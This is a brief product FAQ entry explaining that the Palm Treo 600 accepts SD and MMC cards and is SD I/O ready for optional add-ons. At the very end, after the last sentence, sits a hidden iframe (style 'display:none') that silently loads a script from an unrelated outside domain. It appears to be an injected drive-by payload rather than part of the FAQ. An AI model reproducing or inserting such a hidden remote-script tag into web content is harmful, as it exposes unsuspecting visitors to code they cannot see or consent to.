What type of expansion slot does the Treo 600 have?

Treo 600 has an expansion slot that supports industry-standard SD (Secure Digital) and MMC cards. These cards allow you to add applications, content and more memory, as well as provide you with another way to back up your phone data (the other way is via HotSync). In addition, Treo 600 is SD I/O (input/output) ready for adding hardware functionality, such as Bluetooth or WiFi support. If these SD I/O solutions become available, they would be sold separately from a third party developer.

Any SD memory card should work in the Treo 600. For other accessories, it is necessary to confirm compatibility with the manufacturer specifically for the Treo 600.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
